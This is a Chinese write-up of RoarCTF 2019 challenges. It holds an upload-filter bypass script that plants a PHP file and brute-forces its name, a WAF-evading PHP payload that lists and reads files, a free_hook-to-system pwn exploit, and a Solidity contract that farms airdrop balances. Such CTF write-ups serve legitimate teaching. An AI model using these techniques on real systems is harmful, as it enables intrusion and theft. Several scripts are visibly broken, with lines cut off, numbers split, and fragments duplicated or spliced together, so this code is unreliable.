楼上请让路 RoarCTF2019 Writeup

原创

顽石□ 于 2019-10-27 12:21:34 发布
笔者《Qftm》原文发布：https://xz.aliyun.com/t/6576

Misc

签到题

RoarCTF{签到！！！}

黄金六年

文件尾部有一段base64，解码为16进制可以看到是一个压缩包

打开压缩包需要密码

使用pr抽帧

可以看到部分帧中有二维码，依次扫码即可得到key iwantplayctf

forensic

直接上volatility

建议profile，直接用Win7SP1x86就可以。

查看进程

volatility -f mem.raw pslist --profile=Win7SP1x86

可以看到存在以下几个值得注意的进程：

Dumpit.exe 一款内存镜像提取工具。

TrueCrypt.exe 一款磁盘加密工具。

Notepad.exe windows自带的记事本。

Mspaint,exe windows自带画图工具。

通过查看userassist可以发现notepad mspaint 在提取内存时在内存中并没有数据。查看用户Home目录的文件，可以发现有一个用户保存的图片文件

volatility -f mem.raw --profile=Win7SP1x86 filescan|grep -v Temporary |grep -v .dll|grep -E 'png|jpg|gif|zip|rar|7z|pdf'

把图片dump下来

通过查看桌面文件还可以发现dumpit.exe在桌面上，而dumpit.exe默认生成的文件是 {hash}.raw，默认保存路径是dumpit.exe所在的路径。

尝试dump 位于0x000000001fca1130位置的raw镜像，发现该文件还没有数据，因此判断取证的时候dumpit.exe还在运行中，dump下来dumpit.exe的内存镜像。

对dumpit.exe的内存镜像进行分析

猜测密码就是刚那张图片上的扭曲文字

不得不说，有几个位置很难辨认，比如第一个字符是数字1还是字母l还是字母I,那些大小写长得一样的是大写还是小写，中间那个是y还是g。直接上掩码爆破

ThankGame

用dnspy反编译，关键代码：

```
public static void WinGame()
  {
      if (!winGame && ((nDestroyNum == 4) || (nDestroyNum == 5)))
      {
          string str = "clearlove9";
          for (int i = 0; i < 0x15; i++)
          {
              for (int j = 0; j < 0x11; j++)
              {
                  str = str + MapState[i, j].ToString();
              }
          }
          if (Sha1(str) == "3F649F708AAFA7A0A94138DC3022F6EA611E8D01")
          {
              FlagText._instance.gameObject.SetActive(true);
              FlagText.str = "RoarCTF{wm-" + Md5(str) + "}";
              winGame = true;
          }
      }
  }

  public static string Md5(string str)
  {
      byte[] bytes = Encoding.UTF8.GetBytes(str);
      byte[] buffer2 = MD5.Create().ComputeHash(bytes);
      StringBuilder builder = new StringBuilder();
      foreach (byte num in buffer2)
      {
          builder.Append(num.ToString("X2"));
      }
      return builder.ToString().Substring(0, 10);
  }

  private void OnTriggerEnter2D(Collider2D collision)
  {
      int x = (int) collision.gameObject.transform.position.x;
      int y = (int) collision.gameObject.transform.position.y;
      switch (collision.tag)
      {
          case "Tank":
              if (!this.isPlayerBullect)
              {
                  collision.SendMessage("Die");
                  UnityEngine.Object.Destroy(base.gameObject);
              }
```

```
            }
            break;
        case "Heart":
            MapManager.MapState[x + 10, y + 8] = 9;
            MapManager.nDestroyNum++;
            collision.SendMessage("Die");
            UnityEngine.Object.Destroy(base.gameObject);
            break;

        case "Enemy":
            if (this.isPlayerBullect)
            {
                collision.SendMessage("Die");
                UnityEngine.Object.Destroy(base.gameObject);
            }
            break;
        case "Wall":
            MapManager.MapState[x + 10, y + 8] = 8;
            MapManager.nDestroyNum++;
            UnityEngine.Object.Destroy(collision.gameObject);
            UnityEngine.Object.Destroy(base.gameObject);
            break;

        case "Barrier":
            if (this.isPlayerBullect)
            {
                collision.SendMessage("PlayAudio");
            }
            UnityEngine.Object.Destroy(base.gameObject);
            break;
    }
}
```

墙1替换成8，老家0替换成9，66个变量，4或5个位置需要变，首先爆破66 * 65 * 64 * 63，爆破出来了，计算md5得到前10字节，得到flag，细节如图：

Web

simple_upload

```
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
   public function index()
  {
       show_source(__FILE__);
  }
   public function upload()
  {
       $uploadFile = $_FILES['file'] ;

       if (strstr(strtolower($uploadFile['name']), ".php") ) {
           return false;
      }

       $upload = new \Think\Upload();// 实例化上传类
       $upload->maxSize  = 4096 ;// 设置附件上传大小
       $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
       $upload->rootPath = './Public/Uploads/';// 设置附件上传目录
       $upload->savePath = '';// 设置附件上传子目录
       $info = $upload->upload() ;
       if(!$info) {// 上传错误提示错误信息
         $this->error($upload->getError());
         return;
      }else{// 上传成功 获取上传文件信息
         $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename']
         echo json_encode(array("url"=>$url,"success"=>1));
      }
  }
}
```

ThinkPHP默认上传文件名是递增的。 代码中ThinkPHP的后缀过滤无效，所以通过上传多个文件的方式，绕过.php后缀的判断，但是这样拿不到上传的文件名，需要爆破。 具体的步骤为：

1.写脚本上传一个正常文件，再上传多个文件，再上传一个正常文件。获取到第一三次上传的文件名。

```
import requests
url = "http://lo408dybroarctf.4hou.com.cn:34422/index.php/Home/Index/upload"

files1 = {'file': open('ma.txt','r')}
files2 = {'file[]': open('ma.php','r')}

r = requests.post(url,files=files1)
print(r.text)

r = requests.post(url,files=files2)
print(r.text)

r = requests.post(url,files=files1)
print(r.text)
```

2.多线程爆破一下第一三文件名之间的所有文件名。

这是最开始写的单线程爆破的脚本，后来觉得太累了，就拿开源扫描器dirfuzz改了一个多线程的版本。最终多线程爆破成功。

```
import requests

#{"url":"\/Public\/Uploads\/2019-10-12\/5da1b52bb3645.txt","success":1}
#{"url":"\/Public\/Uploads\/","success":1}
#{"url":"\/Public\/Uploads\/2019-10-12\/5da1b52bd6f0a.txt","success":1}


s = "1234567890abcdef"
for i in s:
for j in s:
for k in s:
for l in s:
url = "http://lo408dybroarctf.4hou.com.cn:34422/Public/Uploads/2019-10-12/5da1b52bc%s%s%s%s.php"%(i,j,k,l
r = requests.get(url)
# print(url)
if r.status_code != 404:
print(url)
break
#[+]{"url": "http://lo408dybroarctf.4hou.com.cn:34422/Public/Uploads/2019-10-12/5da1b52bc7471.php", "stat
```

爆破到php文件，就可以直接读到flag。估计主办方有个脚本在后台一直跑改php文件。

easy_calc

这题首先进去发现是一个计算器的题目。

这道题是国赛的**love_math**的修改版，除去了长度限制，payload中不能包含' ', '\t', '\r', '\n','"', '"', '`', '[', ']' 等字符，不同的是网站加了waf，需要绕过waf。首先需要绕过waf，测试发现当我们提交一些字符时，会直接403，经测试发现存在服务器存在http走私漏洞，可以用来绕waf，详情见：https://paper.seebug.org/1048/

因为禁掉了一些字符，所以导致我们不能直接getflag，继续分析payload构造

这里用到几个php几个数学函数。

我们首先要构造列目录的payload，肯定要使用scandir函数，尝试构造列举根目录下的文件。scandir可以用base_convert函数构造，但是利用base_convert只能解决a~z的利用，因为根目录需要/符号，且不在a~z,所以需要hex2bin(dechex(47))这种构造方式，dechex() 函数把十进制数转换为十六进制数。hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。

构造读取flag，使用readfile函数，paload：base_convert(2146934604002,10,36)(hex2bin(dechex(47)).base_convert(25254448,10,36))，方法类似

easy_java

这道进去首先想到的就是任意文件下载，但是刚开始用GET方式一直什么都下载不了，连网站确定目录的图片都下不了。后来修改为post，可以了。。。

尝试读取WEB-INF/web.xml发现操作flag的关键文件位置

将图中base64解码即flag。

Re

polyre

使用 deflat.py 脱去控制流平坦化，加密算法大致是：输入 48，平分 6 组，将每组 8 字节转化为 long 类型的值，对每组进行加密，先判断正负，然后将值乘 2，随后根据正负异或 0xB0004B7679FA26B3，循环 64 次，最后进行比较；按照这个逻辑写逆运算就可以了，逆运算见 depoly.py

```
origin = [0xbc8ff26d43536296,
          0x520100780530ee16,
          0x4dc0b5ea935f08ec,
          0x342b90afd853f450,
          0x8b250ebcaa2c3681,
          0x55759f81a2c68ae4]
key = 0xB0004B7679FA26B3
data = ""

for value in origin:
    for i in range(0, 64):
        tail = value & 1
        if tail == 1:
            value = value ^ key
        value = value // 2
        if tail == 1:
            value = value | 0x8000000000000000
        #print(hex(value))
    # end for
    print(hex(value))
    j = 0
    while (j < 8):
        data += chr(value & 0xFF)
        value = value >> 8
        j += 1
    # end while
#end for
print(data)
```

Pwn

ez_op

payload:

```
#!/usr/bin/env python3
# -*- coding=utf-8 -*-

from pwn import *

system_addr = 0x08051C60
hook_free = 0x080E09F0

# opcdoe
opcode = ""

# get stack_addr
opcode += """\
```

```
push 5
stack_load\
"""

# sub hook_free
opcode += f"""\
push {hook_free}
sub\
"""

# value / 4 + 1
opcode += """\
push 4
div
push 1
add\
"""

# *hook_free = system_addr
opcode += f"""\
push {system_addr}
stack_set\
"""
opcode = f"""\
push {0x6e69622f}
push {0x68732f}
push {system_addr}
push 1
push 4
push 64
stack_load
push {hook_free}
sub
div
sub
stack_set\
"""
OPCODET = {
  "push": 0x2a3d,
  "add": 0,
  "sub": 0x11111,
  "div": 0x514,
  "stack_set": 0x10101010,
  "stack_load": -1
}
opcode_list = opcode.split("\n")
op_result = []
num_result = []
for op in opcode_list:
  tmp = op.split(" ")
  assert tmp[0] in OPCODET
  op_result.append(str(OPCODET[tmp[0]]))
  if len(tmp) == 2:
      num_result.append(str(tmp[1]))

result_op = " ".join(op_result)
result_num = " ".join(num_result)

print(result_op)
print(result_num)
```

```
print(result_num)
```

Crypto

babyrsa

一个数学结论：对于一个素数p来说，（p-1）的阶乘加上（p-2）的阶乘等于p乘以（p-2）的阶乘,能被p整除,（p-1）的阶乘除以p余p-1（因为p的阶乘能被p整除）就是:

```
(p-1)!+(p-2)!=p*(p-2)
(p-1)!=p*(p-1)
(p-2)! % p=1
```

解密脚本如下：

```
import sympy
from Crypto.Util.number import long_to_bytes
def egcd(a,b):
    if a==0:
        return (b,0,1)
    else:
        g,y,x=egcd(b%a,a)
        return (g,x-(b//a)*y,y)
def modinv(a,m):
    g,x,y=egcd(a,m)
    if g!=1:
        raise Exception(" error")
    else:
        return x%m
a1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959
b1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959
a2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754
b2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754
n=85492663786275292159831603391083876175149354309327673008716627650718160585639723100793347534649628330
c=75700883021669577739329316795450706204502635802310731477156998834710820770245219468703245302009998932
p=1
q=1
i=1
l=0
for i in range(b1+1,a1-1):
    p *= modinv(i,a1)
    p %=a1
p=sympy.nextprime(p)
print "p="
print p
for i in range(b2+1,a2-1):
    q *=modinv(i,a2)
    q %=a2
q=sympy.nextprime(q)
print "q="
print q
r=n/q/p
print "r="
print r
fn=(p-1)*(q-1)*(r-1)
print "fn="
print fn
e=4097
d=modinv(e,fn)
print "d="
print d
m=pow(c,d,n)
print "m="
print m
print long_to_bytes(m)
```

区块链1

做题的时候发现已经有人做出来了，然后去看做出来人的交易记录，发现是薅羊毛，通过逆向做出来人的记录，照抄了一个，payload合约如下：

```
/**
*Submitted for verification at Etherscan.io on 2019-10-08
*/

pragma solidity ^0.4.24;

contract P_Bank
{
  mapping (address => uint) public balances;

  uint public MinDeposit = 0.1 ether;

  Log TransferLog;
  event FLAG(string b64email, string slogan);
  constructor(address _log) public {
      TransferLog = Log(_log);
    }
  function Ap() public {
      if(balances[msg.sender] == 0) {
          balances[msg.sender]+=1 ether;
      }
  }
  function Transfer(address to, uint val) public {
      if(val > balances[msg.sender]) {
          revert();
      }
      balances[to]+=val;
      balances[msg.sender]-=val;
  }
  function CaptureTheFlag(string b64email) public returns(bool){
    require (balances[msg.sender] > 500 ether);
    emit FLAG(b64email, "Congratulations to capture the flag!");
  }
  function Deposit()
  public
  payable
  {
      if(msg.value > MinDeposit)
      {
          balances[msg.sender]+= msg.value;
          TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
      }
  }

  function CashOut(uint _am) public
  {
      if(_am<=balances[msg.sender])
      {

          if(msg.sender.call.value(_am)())
          {
              balances[msg.sender]-=_am;
              TransferLog.AddMessage(msg.sender,_am,"CashOut");
          }
      }
  }

  function() public payable{}

}
```

```
}

contract Log
{

  struct Message
  {
      address Sender;
      string Data;
      uint Val;
      uint Time;
  }
  string err = "CashOut";
  Message[] public History;
  Message LastMsg;
  function AddMessage(address _adr,uint _val,string _data)
  public
  {
      LastMsg.Sender = _adr;
      LastMsg.Time = now;
      LastMsg.Val = _val;
      LastMsg.Data = _data;
      History.push(LastMsg);
  }
}
contract FatherOwned {
  address owner;
  modifier onlyOwner{ if (msg.sender != owner) revert(); _; }
}
contract Attack
{
  address owner;
  P_Bank target;
  constructor(address my) public {
      owner = my;
      target = P_Bank(0xF60ADeF7812214eBC746309ccb590A5dBd70fc21);
      target.Ap();
      target.Transfer(owner, 1 ether);
      selfdestruct(owner);
    }
}
contract Deploy is FatherOwned
{
  constructor() public {
      owner = msg.sender;
    }
    function getflag() public onlyOwner {
        P_Bank target;
        target = P_Bank(0xF60ADeF7812214eBC746309ccb590A5dBd70fc21);
        target.CaptureTheFlag("baiyjrh@gmail.com");
    }
    function ffhhhhhhtest1() public onlyOwner {
    uint i;
    for (i=0; i<10; i++){
        new Attack(owner);
    }
    }
    function ffhhhhhhtest2() public onlyOwner {
    uint i;
    for (i=0; i<30; i++){
```

```
        new Attack(owner);

    }
  }
    function ffhhhhhhtest3() public onlyOwner {
    uint i;
    for (i=0; i<50; i++){
        new Attack(owner);
    }
  }
  function ffhhhhhhtest4() public onlyOwner {
    uint i;
    for (i=0; i<70; i++){
        new Attack(owner);

    }
  }
}
```

智能合约2

给的源码和实际的不一样，同样了看了下之前做出来的人的交易，发现了一个函数：0x5ad0ae39

逆向一下得到大概代码：

```
func 0x5ad0ae39(address1, address2, uint, address3)
  require(allowance[address1][msg.sender] >= uint)
  require(address3 == msg.sender + 0x32c3edb)
  balanceOf[address1] -= _value;
  balanceOf[address2] += _value;
  allowance[address1][msg.sender] -= _value;
然后在标准token的sol里面有一个函数：
function approve(address _spender, uint256 _value) public returns (bool) {
  allowed[msg.sender][_spender] = _value;
  Approval(msg.sender, _spender, _value);
  return true;
}
```

通过approve函数给allowance[msg.sender][msg.sender]赋值，随便大于1000的值就行。

然后调用0x5ad0ae39，这里就比较蛋疼了，因为爆破不出这个函数名，没法直接用remix做题，没办法只能写代码了。

过程如图：

rsa

根据题目文件可知：

```
A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x
p=next_prime(z*x*y)
q=next_prime(z)
n=p*q
```

直接爆破A方程可得 x*y=166。（一个是2一个是83，懒得重新写脚本了很好爆。）

然后可得

```
p=next_prime(z*166)
q=next_prime(z)
```

可以推断出，n和zz166的值相对来说是距离比较近的，根据next_prime可以推测出sqrt(n/166)的值和p和q的其中一个是很接近的，爆破即可。

py2 ：

```
import sympy
import gmpy2
n=11793080604350737432598229182302728514880723911798736960958351535388981485608809967145439434081676124 29
#m是n/166的开放根，和p q 中的一个距离很近
m=sympy.nextprime(842868045681390934539739959201847552284980179958879667933078453950968566151662147267006
m2=84286804568139093453973995920184755228498017995887966793307845395096856615166214726700629357176546313 7
k=m
p=0
q=0
while (m>10000):
    if(n%m==0):
        #print (m) A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x
根据方程可以直接算出x和y
a=26833491826787145242474695127934760098610147810049249054841274803081613777681928680615618865770486464 32
x=1
y=1
n=0
c=0
d=0
for x in range(1,100):
   for y in range(2,100):
       c=(y+1)/x
       d=x%y
       if(d!=0):
           n=(((y%x)**5)%d)**2019+y**316+c
       if(n==a):
            print (x)
            print (y)
```

可得x=2 y=83

p=next_prime(zxy)

q=next_prime(z)

n=q*p

因此可以猜测n和（zxy）z*的值也是很接近的，也就是n和*z^2166是很接近的，那么sqrt(n/166)和q是很接近的。所以从sqrt(n/166)附近查找prime。

e是未知的，但是e的取值范围相对是小的，直接猜或者爆破，结果可知e为65537.

解密脚本

```
import sympy
import math
import binascii
from Crypto.Util.number import long_to_bytes
n=11793080604350737432598229182302728514880723911798736960958351535388981485608809967145439434081676124291
#m即是sqrt(n/166)的近似值
m=sympy.nextprime(842868045681390934539739959201847552284980179958879667933078453950968566151662147267006
c=869746859601851099945658852277765904305849753173246870721436063378346187579750961335037322465585458178 2
p=0
q=0
#从m附近查找q或p
while(m>100):
    if(n%m==0):
        p=m
        print "p="
        print p
        q=n/p
        print "q="
        print q
        break
    m=sympy.nextprime(m)
def egcd(a,b):
    if a==0:
        return (b,0,1)
    else:
        g,y,x=egcd(b%a,a)
        return (g,x-(b//a)*y,y)
def modinv(a,m):
    g,x,y=egcd(a,m)
    if g!=1:
        raise Exception(" error")
    else:
        return x%m
e=1
d=0
#爆破e
while(e<100000):
    #try:
    #e=sympy.nextprime(e)
    e=65537 #最后爆破成功的e
    d=modinv(e,(p-1)*(q-1))
    m=pow(c,d,n)
    print long_to_bytes(m)
    m_hex = hex(m)[2:]
   # try:
    print m_hex
    print("ascii:\n%s"%(binascii.a2b_hex(m_hex).decode("utf8"),))
   # except:
    #    if(e%10000==0):
     #       print e
```